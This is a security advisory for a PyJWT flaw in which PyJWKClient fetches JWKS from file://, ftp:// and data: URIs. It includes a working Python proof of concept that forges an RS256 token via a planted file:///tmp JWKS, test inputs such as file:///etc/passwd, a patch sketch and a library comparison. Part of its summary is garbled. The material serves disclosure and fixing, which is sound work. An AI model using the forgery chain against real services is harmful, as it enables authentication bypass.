pyjwt
Affected
- introduced
2.0.0, fixed2.13.0(ecosystem)
Fixed versions
2.13.0
Fix
- Fixed version
2.13.0pip install --upgrade pyjwt==2.13.0
Advisory
Also known as: CVE-2026-48522, PYSEC-2026-175
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
> [!NOTE]
> The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
Summary
PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, `FileHandler`, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
file:// (SSRF on local filesystem) — the file's contents are passed to json.load.jwt.decode() accepts.Affected versions
Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.
Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
| Library | Behavior on jku=file://... | Mechanism |
|---|---|---|
| PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler |
| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer |
| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https |
| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true |
| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |
PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.
Recommended fix
Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.
Diff sketch against jwt/jwks_client.py
def __init__(
self, uri: str,
cache_keys: bool = False, max_cached_keys: int = 16,
cache_jwk_set: bool = True, lifespan: float = 300,
headers: dict[str, Any] | None = None, timeout: float = 30,
ssl_context: SSLContext | None = None,
allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW
):
"""...
:param allowed_schemes: URL schemes the JWKS endpoint is permitted
to use. Default ``("https", "http")``. Pass ``("https",)`` for
HTTPS-only operation. URLs with disallowed schemes raise
``PyJWKClientError`` before any fetch is attempted.
"""
# ... existing init code ...
self.allowed_schemes = allowed_schemes
self._validate_uri_scheme()
def _validate_uri_scheme(self) -> None:
"""Reject the configured URI early if its scheme isn't allowed."""
from urllib.parse import urlparse
parsed = urlparse(self.uri)
scheme = parsed.scheme.lower()
if not scheme:
raise PyJWKClientError(
f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
f"{self.allowed_schemes!r}")
if scheme not in self.allowed_schemes:
raise PyJWKClientError(
f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Tests to add
def test_pyjwkclient_rejects_file_scheme():
with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
PyJWKClient("file:///etc/passwd")
def test_pyjwkclient_rejects_ftp_scheme():
with pytest.raises(PyJWKClientError):
PyJWKClient("ftp://example.org/keys.json")
def test_pyjwkclient_rejects_data_scheme():
with pytest.raises(PyJWKClientError):
PyJWKClient('data:application/json,{"keys":[]}')
def test_pyjwkclient_caller_can_lock_to_https_only():
with pytest.raises(PyJWKClientError):
PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
Compatibility
allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpointsClass precedent
This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.
Prior art (verified 2026-05-06)
Medium Basis: The source's own band: MODERATE
2.0.0, fixed 2.13.0 (ecosystem)2.13.0
2.13.0pip install --upgrade pyjwt==2.13.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0